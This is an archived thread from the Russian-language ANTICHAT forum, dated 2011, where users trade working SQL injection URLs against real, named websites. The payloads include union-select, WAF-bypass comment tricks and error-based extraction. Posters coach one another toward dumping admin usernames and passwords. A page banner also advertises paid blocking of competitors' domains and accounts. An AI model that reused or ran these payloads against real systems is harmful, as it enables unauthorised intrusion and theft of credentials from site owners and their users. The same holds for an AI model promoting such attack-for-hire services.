УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1867 из 2438

1867

Опции темы

Поиск в этой теме

Опции просмотра

#18661

27.11.2011, 22:50

Boolean

Guest

Сообщений: n/a

Провел на форуме:
40748

Репутация: 78

Цитата:

Сообщение от lightangel

lightangel said:
Site has 34 tables, I found out doing this.

Код:

Code:
http://bohemianchandeliers.co.uk/prod_detail.php?id=14&cat=-1%27+union+select+1,2,3,4,unhex(hex(table_name)),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.tables+limit+33,1--+3

How do I get an info of a particular table?

Это русскоязычный форум. Используй переводчики.

По теме — полный FAQ

#18662

27.11.2011, 22:56

lightangel

Guest

Сообщений: n/a

Провел на форуме:
35174

Репутация: -6

Thank you so much.

I've learnt it now.

Need a little help here.

Код:

Code:
http://www.shopoldcoloradocity.com/content.php?id=-97/**/union/**/select/**/1,2,3,4,version(),6,7,8,9,10,11,12--

How to get tables, columns and data?

#18663

27.11.2011, 23:37

aydin-ka

Новичок

Регистрация: 03.05.2009

Сообщений: 7

Провел на форуме:
102906

Репутация: -14

lightangel

There are tables

Код:

Code:
http://www.shopoldcoloradocity.com/content.php?id=-1%27/*--*/UnIoN/*--*/SeLeCt/*--*/1,2,3,4,group_concat%28TABLE_NAME%29,6,7,8,9,10,11,12/*--*/FrOm/*--*/INFORMATION_SCHEMA.TABLES--

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"]Admins[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]access[/COLOR][/COLOR]

#18664

28.11.2011, 01:16

lightangel

Guest

Сообщений: n/a

Провел на форуме:
35174

Репутация: -6

Aydin-ka, thanks a lot.

Код:

Code:
http://www.shopoldcoloradocity.com/content.php?id=-1%27/**/UnIoN/**/SeLeCt/**/1,2,3,4,group_concat(TABLE_NAME),6,7,8,9,10,11,12/**/FrOm/**/INFORMATION_SCHEMA.TABLES--

It's a basic WAF..

I've got the tables and columns and now I try this.

Код:

Code:
http://www.shopoldcoloradocity.com/content.php?id=-1%27/**/UnIoN/**/SeLeCt/**/1,2,3,4,group_concat(Name,0x3a,Password),6,7,8,9,10,11,12/**/FrOm/**/Admins--

Any solution?

#18665

28.11.2011, 01:22

d1v

Новичок

Регистрация: 21.02.2009

Сообщений: 3

Провел на форуме:
58401

Репутация: 0

Цитата:

Сообщение от lightangel

lightangel said:
Aydin-ka, thanks a lot.

Код:

Code:
http://www.shopoldcoloradocity.com/content.php?id=-1%27/**/UnIoN/**/SeLeCt/**/1,2,3,4,group_concat(TABLE_NAME),6,7,8,9,10,11,12/**/FrOm/**/INFORMATION_SCHEMA.TABLES--

It's a basic WAF..
I've got the tables and columns and now I try this.

Код:

Code:
http://www.shopoldcoloradocity.com/content.php?id=-1%27/**/UnIoN/**/SeLeCt/**/1,2,3,4,group_concat(Name,0x3a,Password),6,7,8,9,10,11,12/**/FrOm/**/Admins--

Any solution?

table in other db.

http://www.shopoldcoloradocity.com/content.php?id=-1/**/UnIoN/**/SeLeCt/**/1,2,3,4,concat(Name,0x3a,Password),6,7,8,9,10,11,1 2/**/FrOm/**/dolphin_eval.Admins

#18666

28.11.2011, 01:37

shadowrun

Guest

Сообщений: n/a

Провел на форуме:
183267

Репутация: 84

http://www.poetryclub.com.ua/contest.php?id=29%27+/*!union*/+/*!select*/+1,2,3,4,5+--+

Фильтр юнион...

#18667

28.11.2011, 02:00

d1v

Новичок

Регистрация: 21.02.2009

Сообщений: 3

Провел на форуме:
58401

Репутация: 0

Цитата:

Сообщение от shadowrun

shadowrun said:
http://www.poetryclub.com.ua/contest.php?id=29%27+/*!union*/+/*!select*/+1,2,3,4,5+--+
Фильтр юнион...

избавиться от union можно с помощью error based например.

Код HTML:

HTML:
http://www.poetryclub.com.ua/contest.php?id=29+or+1+group+by+concat((select+concat(login,0x3a,password)+from+admins),floor(rand(0)*2))having+min(0)--

#18668

28.11.2011, 02:22

lightangel

Guest

Сообщений: n/a

Провел на форуме:
35174

Репутация: -6

I have a little problem here.

Код:

Code:
http://www.mul.edu.pk/home_old/index.php?id=39+order+by+20--

Shows 20 strings, now to get union select

Код:

Code:
http://www.mul.edu.pk/home_old/index.php?id=39+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

Shows this error

Код:

Code:
Not Acceptable

An appropriate representation of the requested resource /home_old/index.php could not be found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Код:

Code:
http://www.mul.edu.pk/home_old/index.php?id=39/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

The same error? Why this?

#18669

28.11.2011, 02:35

lightangel

Guest

Сообщений: n/a

Провел на форуме:
35174

Репутация: -6

Что вы подразумеваете под этим?

#18670

28.11.2011, 02:38

d1v

Новичок

Регистрация: 21.02.2009

Сообщений: 3

Провел на форуме:
58401

Репутация: 0

Цитата:

Сообщение от lightangel

lightangel said:
Что вы подразумеваете под этим?

во как)

значит в состоянии читать по русски.

http://www.ptsecurity.ru/download/PT-devteev-CC-WAF.pdf

а на этом сайте блокируется ип после нескольких запросов, поэтому заморачиваться с проксями не хочется. good luck.

Страница 1867 из 2438

1867

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход